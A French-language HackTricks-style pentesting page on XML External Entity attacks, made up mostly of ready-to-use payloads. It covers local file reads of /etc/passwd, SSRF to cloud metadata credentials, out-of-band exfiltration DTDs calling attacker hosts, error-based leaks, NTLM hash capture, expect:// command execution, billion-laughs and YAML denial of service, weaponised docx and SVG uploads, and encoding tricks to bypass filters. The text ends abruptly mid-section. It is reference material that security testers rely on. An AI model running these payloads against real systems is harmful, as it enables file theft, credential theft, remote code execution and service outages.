hacktricks/pentesting-web/xxe-xee-xml-external-entity.md
2023-06-03 13:10:46 +00:00

43 KiB

XXE - XEE - Entité Externe XML

Une attaque d'entité externe XML est un type d'attaque contre une application qui analyse une entrée XML.

Bases de XML

La plupart de cette partie a été prise de cette page Portswigger incroyable: https://portswigger.net/web-security/xxe/xml-entities

Qu'est-ce que XML?

XML signifie "extensible markup language". XML est un langage conçu pour stocker et transporter des données. Comme HTML, XML utilise une structure en arborescence de balises et de données. Contrairement à HTML, XML n'utilise pas de balises prédéfinies, les balises peuvent donc être nommées pour décrire les données. Plus tôt dans l'histoire du web, XML était à la mode en tant que format de transport de données (le "X" dans "AJAX" signifie "XML"). Mais sa popularité a maintenant décliné au profit du format JSON.

Qu'est-ce que les entités XML?

Les entités XML sont une façon de représenter un élément de données dans un document XML, au lieu d'utiliser les données elles-mêmes. Diverses entités sont intégrées à la spécification du langage XML. Par exemple, les entités &lt; et &gt; représentent les caractères < et >. Ce sont des métacaractères utilisés pour indiquer les balises XML, et doivent donc généralement être représentés à l'aide de leurs entités lorsqu'ils apparaissent dans les données.

Qu'est-ce que les éléments XML?

Les déclarations de type d'élément définissent les règles pour le type et le nombre d'éléments qui peuvent apparaître dans un document XML, les éléments qui peuvent apparaître à l'intérieur les uns des autres et l'ordre dans lequel ils doivent apparaître. Par exemple:

  • <!ELEMENT stockCheck ANY> signifie que n'importe quel objet peut être à l'intérieur du parent <stockCheck></stockCheck>
  • <!ELEMENT stockCheck EMPTY> signifie qu'il doit être vide <stockCheck></stockCheck>
  • <!ELEMENT stockCheck (productId,storeId)> déclare que <stockCheck> peut avoir les enfants <productId> et <storeId>

Qu'est-ce que la définition de type de document?

La définition de type de document XML (DTD) contient des déclarations qui peuvent définir la structure d'un document XML, les types de valeurs de données qu'il peut contenir et d'autres éléments. La DTD est déclarée dans l'élément DOCTYPE facultatif au début du document XML. La DTD peut être entièrement autonome dans le document lui-même (connue sous le nom de "DTD interne") ou peut être chargée à partir d'ailleurs (connue sous le nom de "DTD externe") ou peut être hybride des deux.

Qu'est-ce que les entités personnalisées XML?

XML permet de définir des entités personnalisées dans la DTD. Par exemple:

<!DOCTYPE foo [ <!ENTITY myentity "my entity value" > ]>

Cette définition signifie que toute utilisation de la référence d'entité &myentity; dans le document XML sera remplacée par la valeur définie: "my entity value".

Qu'est-ce que les entités externes XML?

Les entités externes XML sont un type d'entité personnalisée dont la définition est située en dehors de la DTD où elles sont déclarées.

La déclaration d'une entité externe utilise le mot clé SYSTEM et doit spécifier une URL à partir de laquelle la valeur de l'entité doit être chargée. Par exemple:

<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://normal-website.com" > ]>

L'URL peut utiliser le protocole file://, et donc les entités externes peuvent être chargées à partir d'un fichier. Par exemple:

<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///path/to/file" > ]>

Les entités externes XML fournissent le principal moyen par lequel les attaques d'entité externe XML se produisent.

Qu'est-ce que les entités de paramètres XML?

Parfois, les attaques XXE à l'aide d'entités régulières sont bloquées en raison d'une validation d'entrée par l'application ou d'un durcissement du parseur XML qui est utilisé. Dans cette situation, vous pourriez être en mesure d'utiliser des entités de paramètres XML à la place. Les entités de paramètres XML sont un type spécial d'entité XML qui ne peut être référencé ailleurs dans la DTD. Pour les présentes fins, vous n'avez besoin de savoir que deux choses. Premièrement, la déclaration d'une entité de paramètre XML inclut le caractère pourcentage avant le nom de l'entité:

<!ENTITY % myparameterentity "my parameter entity value" >

Et deuxièmement, les entités de paramètres sont référencées en utilisant le caractère pourcentage au lieu de l'esperluette habituelle: %myparameterentity;

Cela signifie que vous pouvez tester les XXE aveugles en utilisant la détection hors bande via des entités de paramètres XML comme suit:

<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> %xxe; ]>

Cette charge utile XXE déclare une entité de paramètre XML appelée xxe et utilise ensuite l'entité dans la DTD. Cela provoquera une recherche DNS et une requête HTTP vers le domaine de l'attaquant, vérifiant que l'attaque a réussi.

Attaques principales

La plupart de ces attaques ont été testées à l'aide des laboratoires XEE impressionnants de Portswiggers: https://portswigger.net/web-security/xxe

Nouveau test d'entité

Dans cette attaque, je vais tester si une simple nouvelle déclaration d'ENTITÉ fonctionne.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
<stockCheck>
    <productId>&toreplace;</productId>
    <storeId>1</storeId>
</stockCheck>

Lire un fichier

Essayons de lire /etc/passwd de différentes manières. Pour Windows, vous pouvez essayer de lire : C:\windows\system32\drivers\etc\hosts

Dans ce premier cas, notez que SYSTEM "**file:///**etc/passwd" fonctionnera également.

<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<data>&example;</data>

Ce deuxième cas peut être utile pour extraire un fichier si le serveur web utilise PHP (ce n'est pas le cas des laboratoires Portswiggers).

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
<data>&example;</data>

Dans ce troisième cas, notez que nous déclarons l'élément stockCheck comme étant ANY.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ELEMENT stockCheck ANY>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<stockCheck>
    <productId>&file;</productId>
    <storeId>1</storeId>
</stockCheck3>

Liste de répertoires

Dans les applications basées sur Java, il est possible de lister le contenu d'un répertoire via XXE avec une charge utile comme celle-ci (en demandant simplement le répertoire au lieu du fichier):

<!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>

<!-- /etc/ -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///etc/" >]><root><foo>&xxe;</foo></root>

SSRF

Une XXE pourrait être utilisée pour abuser d'un SSRF dans un cloud.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>

SSRF aveugle

En utilisant la technique précédemment commentée, vous pouvez faire en sorte que le serveur accède à un serveur que vous contrôlez pour montrer qu'il est vulnérable. Mais si cela ne fonctionne pas, peut-être que les entités XML ne sont pas autorisées, dans ce cas, vous pouvez essayer d'utiliser les entités de paramètres XML :

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

SSRF "aveugle" - Exfiltrer des données hors bande

Dans ce cas, nous allons faire en sorte que le serveur charge une nouvelle DTD avec une charge utile malveillante qui enverra le contenu d'un fichier via une requête HTTP (pour les fichiers multi-lignes, vous pouvez essayer de l'exfiltrer via ftp://). Cette explication est tirée du laboratoire Portswiggers ici.

Un exemple de DTD malveillante pour exfiltrer le contenu du fichier /etc/hostname est le suivant :

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;

Cette DTD effectue les étapes suivantes :

  • Définit une entité de paramètre XML appelée file, contenant le contenu du fichier /etc/passwd.
  • Définit une entité de paramètre XML appelée eval, contenant une déclaration dynamique d'une autre entité de paramètre XML appelée exfiltrate. L'entité exfiltrate sera évaluée en effectuant une requête HTTP vers le serveur web de l'attaquant contenant la valeur de l'entité file dans la chaîne de requête URL.
  • Utilise l'entité eval, ce qui provoque la déclaration dynamique de l'entité exfiltrate.
  • Utilise l'entité exfiltrate, de sorte que sa valeur soit évaluée en demandant l'URL spécifiée.

L'attaquant doit ensuite héberger la DTD malveillante sur un système qu'il contrôle, généralement en la chargeant sur son propre serveur web. Par exemple, l'attaquant pourrait servir la DTD malveillante à l'URL suivante :
http://web-attaquant.com/malicious.dtd

Enfin, l'attaquant doit soumettre la charge utile XXE suivante à l'application vulnérable :

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

Cette charge utile XXE déclare une entité de paramètre XML appelée xxe, puis utilise l'entité dans la DTD. Cela forcera l'analyseur XML à récupérer la DTD externe à partir du serveur de l'attaquant et à l'interpréter en ligne. Les étapes définies dans la DTD malveillante sont ensuite exécutées et le fichier /etc/passwd est transmis au serveur de l'attaquant.

Basé sur les erreurs (DTD externe)

Dans ce cas, nous allons faire en sorte que le serveur charge une DTD malveillante qui affichera le contenu d'un fichier dans un message d'erreur (ceci n'est valable que si vous pouvez voir les messages d'erreur). Exemple à partir d'ici.

Vous pouvez déclencher un message d'erreur d'analyse XML contenant le contenu du fichier /etc/passwd en utilisant une DTD externe malveillante comme suit:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

Cette DTD effectue les étapes suivantes:

  • Définit une entité de paramètre XML appelée file, contenant le contenu du fichier /etc/passwd.
  • Définit une entité de paramètre XML appelée eval, contenant une déclaration dynamique d'une autre entité de paramètre XML appelée error. L'entité error sera évaluée en chargeant un fichier inexistant dont le nom contient la valeur de l'entité file.
  • Utilise l'entité eval, ce qui provoque la déclaration dynamique de l'entité error.
  • Utilise l'entité error, de sorte que sa valeur est évaluée en tentant de charger le fichier inexistant, ce qui entraîne un message d'erreur contenant le nom du fichier inexistant, qui est le contenu du fichier /etc/passwd.

Invoquez l'erreur DTD externe avec:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

Et vous devriez voir le contenu du fichier à l'intérieur du message d'erreur de la réponse du serveur web.

Veuillez noter que le DTD externe nous permet d'inclure une entité à l'intérieur de la seconde (eval), mais cela est interdit dans le DTD interne. Par conséquent, vous ne pouvez pas forcer une erreur sans utiliser un DTD externe (généralement).

Basé sur les erreurs (DTD système)

Et qu'en est-il des vulnérabilités XXE aveugles lorsque les interactions hors bande sont bloquées (les connexions externes ne sont pas disponibles) ? Informations d'ici.

Dans cette situation, il est peut-être encore possible de déclencher des messages d'erreur contenant des données sensibles, en raison d'une faille dans la spécification du langage XML. Si le DTD d'un document utilise un hybride de déclarations DTD internes et externes, alors le DTD interne peut redéfinir des entités qui sont déclarées dans le DTD externe. Lorsque cela se produit, la restriction d'utilisation d'une entité de paramètre XML dans la définition d'une autre entité de paramètre est assouplie.

Cela signifie qu'un attaquant peut utiliser la technique XXE basée sur les erreurs à partir d'un DTD interne, à condition que l'entité de paramètre XML qu'il utilise redéfinisse une entité qui est déclarée dans un DTD externe. Bien sûr, si les connexions hors bande sont bloquées, alors le DTD externe ne peut pas être chargé à partir d'un emplacement distant. Au lieu de cela, il doit s'agir d'un fichier DTD externe qui est local au serveur d'application. Essentiellement, l'attaque consiste à invoquer un fichier DTD qui se trouve sur le système de fichiers local et à le réutiliser pour redéfinir une entité existante de manière à déclencher une erreur d'analyse contenant des données sensibles.

Par exemple, supposons qu'il y ait un fichier DTD sur le système de fichiers du serveur à l'emplacement /usr/local/app/schema.dtd, et que ce fichier DTD définit une entité appelée custom_entity. Un attaquant peut déclencher un message d'erreur d'analyse XML contenant le contenu du fichier /etc/passwd en soumettant un DTD hybride comme celui-ci :

<!DOCTYPE foo [
    <!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
    <!ENTITY % custom_entity '
        <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
        &#x25;eval;
        &#x25;error;
    '>
    %local_dtd;
]>

Cette DTD effectue les étapes suivantes:

  • Définit une entité de paramètre XML appelée local_dtd, contenant le contenu du fichier DTD externe qui existe sur le système de fichiers du serveur.

  • Redéfinit l'entité de paramètre XML appelée custom_entity, qui est déjà définie dans le fichier DTD externe. L'entité est redéfinie comme contenant l'exploit XXE basé sur les erreurs qui a déjà été décrit, pour déclencher un message d'erreur contenant le contenu du fichier /etc/passwd.

  • Utilise l'entité local_dtd, de sorte que le DTD externe soit interprété, y compris la valeur redéfinie de l'entité custom_entity. Cela donne le message d'erreur souhaité.

    Exemple réel: Les systèmes utilisant l'environnement de bureau GNOME ont souvent une DTD à /usr/share/yelp/dtd/docbookx.dtd contenant une entité appelée ISOamso.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
    <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
    <!ENTITY % ISOamso '
        <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
        &#x25;eval;
        &#x25;error;
    '>
    %local_dtd;
]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

Comme cette technique utilise un DTD interne, vous devez d'abord en trouver un valide. Vous pouvez le faire en installant le même OS / logiciel que celui utilisé par le serveur et en recherchant des DTD par défaut, ou en récupérant une liste de DTD par défaut dans les systèmes et vérifiant si l'un d'entre eux existe :

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>

Trouver des DTDs dans le système

Dans le dépôt Github suivant, vous pouvez trouver des chemins de DTDs qui peuvent être présents dans le système :

{% embed url="https://github.com/GoSecure/dtd-finder/tree/master/list" %}

De plus, si vous avez l'image Docker du système victime, vous pouvez utiliser l'outil du même dépôt pour analyser l'image et trouver le chemin des DTDs présents dans le système. Lisez le Readme du Github pour apprendre comment faire.

java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar

Scanning TAR file /tmp/dadocker.tar

 [=] Found a DTD: /tomcat/lib/jsp-api.jar!/jakarta/servlet/jsp/resources/jspxml.dtd
Testing 0 entities : []

 [=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd
Testing 0 entities : []

XXE via les analyseurs de fichiers Office Open XML

(Copié d'ici (https://labs.detectify.com/2021/09/30/10-types-web-vulnerabilities-often-missed/))
De nombreuses applications Web vous permettent de télécharger des documents Microsoft Office, puis elles en extraient certains détails. Par exemple, vous pouvez avoir une application Web qui vous permet d'importer des données en téléchargeant une feuille de calcul au format XLSX. À un moment donné, pour que l'analyseur extrait les données de la feuille de calcul, l'analyseur devra analyser au moins un fichier XML.

La seule façon de tester cela est de générer un fichier Microsoft Office contenant une charge utile XXE, alors faisons-le. Tout d'abord, créez un répertoire vide pour décompresser votre document, et décompressez-le !

test$ ls
test.docx
test$ mkdir unzipped
test$ unzip ./test.docx -d ./unzipped/
Archive:  ./test.docx
  inflating: ./unzipped/word/numbering.xml
  inflating: ./unzipped/word/settings.xml
  inflating: ./unzipped/word/fontTable.xml
  inflating: ./unzipped/word/styles.xml
  inflating: ./unzipped/word/document.xml
  inflating: ./unzipped/word/_rels/document.xml.rels
  inflating: ./unzipped/_rels/.rels
  inflating: ./unzipped/word/theme/theme1.xml
  inflating: ./unzipped/[Content_Types].xml

Ouvrez ./unzipped/word/document.xml dans votre éditeur de texte préféré (vim) et modifiez le XML pour y inclure votre charge utile XXE préférée. La première chose que j'essaie est généralement une requête HTTP, comme ceci:

<!DOCTYPE x [ <!ENTITY test SYSTEM "http://[ID].burpcollaborator.net/"> ]>
<x>&test;</x>

Ces lignes doivent être insérées entre les deux objets XML racine, comme ceci, et bien sûr, vous devrez remplacer l'URL par une URL que vous pouvez surveiller pour les requêtes:

Ces lignes doivent être insérées entre les deux objets XML racine, comme ceci

Il ne reste plus qu'à compresser le fichier pour créer votre fichier poc.docx malveillant. À partir du répertoire "décompressé" que nous avons créé précédemment, exécutez ceci:

À partir du répertoire "décompressé" que nous avons créé précédemment, exécutez ceci:

Maintenant, téléchargez le fichier sur votre application web (espérons-le) vulnérable et priez les dieux du piratage pour une demande dans vos journaux Burp Collaborator.

Protocole Jar

Le protocole jar n'est disponible que sur les applications Java. Il permet d'accéder aux fichiers à l'intérieur d'un fichier PKZIP (.zip, .jar, ...) et fonctionne pour les fichiers locaux et distants:

jar:file:///var/myarchive.zip!/file.txt
jar:https://download.host.com/myarchive.zip!/file.txt

{% hint style="danger" %} Être capable d'accéder aux fichiers à l'intérieur des fichiers PKZIP est très utile pour abuser de XXE via les fichiers DTD système. Consultez cette section pour apprendre à abuser des fichiers DTD système. {% endhint %}

Dans les coulisses

  1. Il effectue une requête HTTP pour charger l'archive zip. https://download.host.com/myarchive.zip
  2. Il enregistre la réponse HTTP dans un emplacement temporaire. /tmp/...
  3. Il extrait l'archive.
  4. Il lit le file.zip
  5. Il supprime les fichiers temporaires.

Notez qu'il est possible d'arrêter le flux à la deuxième étape. Le truc est de ne jamais fermer la connexion lors de la diffusion du fichier. Ces outils peuvent être utiles : un en python slow_http_server.py et un en java slowserver.jar.

Une fois que le serveur a téléchargé votre fichier, vous devez trouver son emplacement en parcourant le répertoire temporaire. Étant aléatoire, le chemin d'accès au fichier ne peut pas être prédit à l'avance.

Jar

{% hint style="danger" %} L'écriture de fichiers dans un répertoire temporaire peut aider à escalader une autre vulnérabilité qui implique une traversée de chemin d'accès (comme l'inclusion de fichiers locaux, l'injection de modèles, la RCE XSLT, la désérialisation, etc.). {% endhint %}

XSS

<![CDATA[<]]>script<![CDATA[>]]>alert(1)<![CDATA[<]]>/script<![CDATA[>]]>

DoS

Attaque Billion Laughs

<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>

Attaque Yaml

a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]

Attaque de Gonflement Quadratique

Obtenir NTML

Sur les hôtes Windows, il est possible d'obtenir le hachage NTML de l'utilisateur du serveur Web en définissant un gestionnaire responder.py :

Responder.py -I eth0 -v

et en envoyant la requête suivante

<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM 'file://///attackerIp//randomDir/random.jpg'> ]>
<data>&example;</data>

Surfaces XXE Cachées

XInclude

À partir d'ici.

Certaines applications reçoivent des données soumises par le client, les intègrent côté serveur dans un document XML, puis analysent le document. Un exemple de cela se produit lorsque les données soumises par le client sont placées dans une requête SOAP backend, qui est ensuite traitée par le service SOAP backend.

Dans cette situation, vous ne pouvez pas effectuer une attaque XXE classique, car vous ne contrôlez pas l'ensemble du XML et vous ne pouvez donc pas définir ou modifier un élément DOCTYPE. Cependant, vous pourriez être en mesure d'utiliser XInclude à la place. XInclude est une partie de la spécification XML qui permet de construire un document XML à partir de sous-documents. Vous pouvez placer une attaque XInclude dans n'importe quelle valeur de données dans un document XML, de sorte que l'attaque peut être effectuée dans des situations où vous ne contrôlez qu'un seul élément de données qui est placé dans un document XML côté serveur.

Pour effectuer une attaque XInclude, vous devez faire référence à l'espace de noms XInclude et fournir le chemin d'accès au fichier que vous souhaitez inclure. Par exemple:

productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1

SVG - Téléchargement de fichiers

À partir d'ici.

Certaines applications permettent aux utilisateurs de télécharger des fichiers qui sont ensuite traités côté serveur. Certains formats de fichiers courants utilisent XML ou contiennent des sous-composants XML. Des exemples de formats basés sur XML sont les formats de documents de bureau tels que DOCX et les formats d'image tels que SVG.

Par exemple, une application pourrait permettre aux utilisateurs de télécharger des images, et de les traiter ou de les valider sur le serveur après leur téléchargement. Même si l'application s'attend à recevoir un format comme PNG ou JPEG, la bibliothèque de traitement d'images qui est utilisée pourrait prendre en charge les images SVG. Étant donné que le format SVG utilise XML, un attaquant peut soumettre une image SVG malveillante et ainsi atteindre une surface d'attaque cachée pour les vulnérabilités XXE.

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>

Vous pouvez également essayer d'exécuter des commandes en utilisant l'enveloppeur PHP "expect" :

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
    <image xlink:href="expect://ls"></image>
</svg>

Notez que la première ligne du fichier lu ou du résultat de l'exécution apparaîtra À L'INTÉRIEUR de l'image créée. Vous devez donc être en mesure d'accéder à l'image que SVG a créée.

PDF - Téléchargement de fichiers

Lisez le post suivant pour apprendre à exploiter une XXE en téléchargeant un fichier PDF :

{% content-ref url="file-upload/pdf-upload-xxe-and-cors-bypass.md" %} pdf-upload-xxe-and-cors-bypass.md {% endcontent-ref %}

Content-Type : De x-www-urlencoded à XML

Si une requête POST accepte les données au format XML, vous pouvez essayer d'exploiter une XXE dans cette requête. Par exemple, si une requête normale contient ce qui suit :

POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

foo=bar

Alors vous pourriez être en mesure de soumettre la demande suivante, avec le même résultat:

POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52

<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>

Content-Type: De JSON à XEE

Pour modifier la requête, vous pouvez utiliser une extension Burp appelée "Content Type Converter". Ici, vous pouvez trouver cet exemple :

Content-Type: application/json;charset=UTF-8

{"root": {"root": {
  "firstName": "Avinash",
  "lastName": "",
  "country": "United States",
  "city": "ddd",
  "postalCode": "ddd"
}}}
Content-Type: application/xml;charset=UTF-8

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM "http://34.229.92.127:8000/TEST.ext" >]> 
<root>
 <root>
  <firstName>&xxe;</firstName>
  <lastName/>
  <country>United States</country>
  <city>ddd</city>
  <postalCode>ddd</postalCode>
 </root>
</root>

Un autre exemple peut être trouvé ici.

Contournement des WAF et des protections

Base64

<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>

Cela ne fonctionne que si le serveur XML accepte le protocole data://.

UTF-7

Vous pouvez utiliser la ["Recette d'encodage" de CyberChef ici ](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to) pour transformer en UTF-7.

<!xml version="1.0" encoding="UTF-7"?-->
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4

Contournement du protocole File:/

Si le site web utilise PHP, au lieu d'utiliser file:/, vous pouvez utiliser les enveloppes PHP php://filter/convert.base64-encode/resource= pour accéder aux fichiers internes.

Si le site web utilise Java, vous pouvez vérifier le protocole jar.

Entités HTML

Astuce de https://github.com/Ambrotd/XXE-Notes
Vous pouvez créer une entité à l'intérieur d'une entité en l'encodant avec des entités HTML et ensuite l'appeler pour charger un dtd.
Notez que les entités HTML utilisées doivent être numériques (comme dans cet exemple : [ici]([https://gchq.github.io/CyberChef/#recipe=To_HTML_Entity%28true,'Numeric%20entities'%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\]).

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "&#x3C;&#x21;&#x45;&#x4E;&#x54;&#x49;&#x54;&#x59;&#x25;&#x64;&#x74;&#x64;&#x53;&#x59;&#x53;&#x54;&#x45;&#x4D;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x6F;&#x75;&#x72;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x62;&#x79;&#x70;&#x61;&#x73;&#x73;&#x2E;&#x64;&#x74;&#x64;&#x22;&#x3E;" >%a;%dtd;]>
<data>
    <env>&exfil;</env>
</data>

Exemple de DTD :

<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/flag">
<!ENTITY % abt "<!ENTITY exfil SYSTEM 'http://172.17.0.1:7878/bypass.xml?%data;'>">
%abt;
%exfil;

Enveloppes PHP

Base64

Extraire index.php

<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>

Extraire une ressource externe

<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3"> ]>

Exécution de code à distance

Si le module "expect" de PHP est chargé

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
    <user>&xxe;</user>
    <pass>mypass</pass>
</creds>

SOAP - XEE

Le traitement des données XML est également utilisé dans les services Web SOAP. Les attaques XEE peuvent être effectuées contre les services Web SOAP en utilisant des entités externes XML. Les attaques XEE contre les services Web SOAP sont similaires aux attaques XEE contre les applications Web.

Les attaques XEE contre les services Web SOAP peuvent être effectuées en envoyant une requête SOAP contenant une entité externe XML malveillante. Cette entité externe peut être utilisée pour extraire des données sensibles du système ou pour effectuer d'autres actions malveillantes.

Les attaques XEE contre les services Web SOAP peuvent être évitées en désactivant le traitement des entités externes XML dans le service Web SOAP. Les développeurs peuvent également utiliser des bibliothèques de traitement XML sécurisées pour éviter les attaques XEE.

<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>

XLIFF - XXE

Cette section a été extraite de https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe
Selon Wikipedia:

XLIFF (XML Localization Interchange File Format) est un format de bitexte basé sur XML créé pour normaliser la façon dont les données localisables sont transmises entre et parmi les outils lors d'un processus de localisation et un format commun pour l'échange d'outils CAT.

Requête aveugle

------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://redacted.burpcollaborator.net/?xxe_test"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--

Le serveur répond avec une erreur :

{"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."}

Mais nous avons eu un résultat sur Burp Collaborator.

Exfiltration de données via Out of Band

------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--

En se basant sur l'Agent utilisateur affiché retourné par Burp Collaborator, il semble qu'il utilise Java 1.8. L'un des problèmes lors de l'exploitation de XXE sur cette version de Java est que nous ne sommes pas en mesure d'obtenir les fichiers contenant une Nouvelle Ligne tels que /etc/passwd en utilisant la technique Out of Band.

Exfiltration de données via une erreur basée

Fichier DTD:

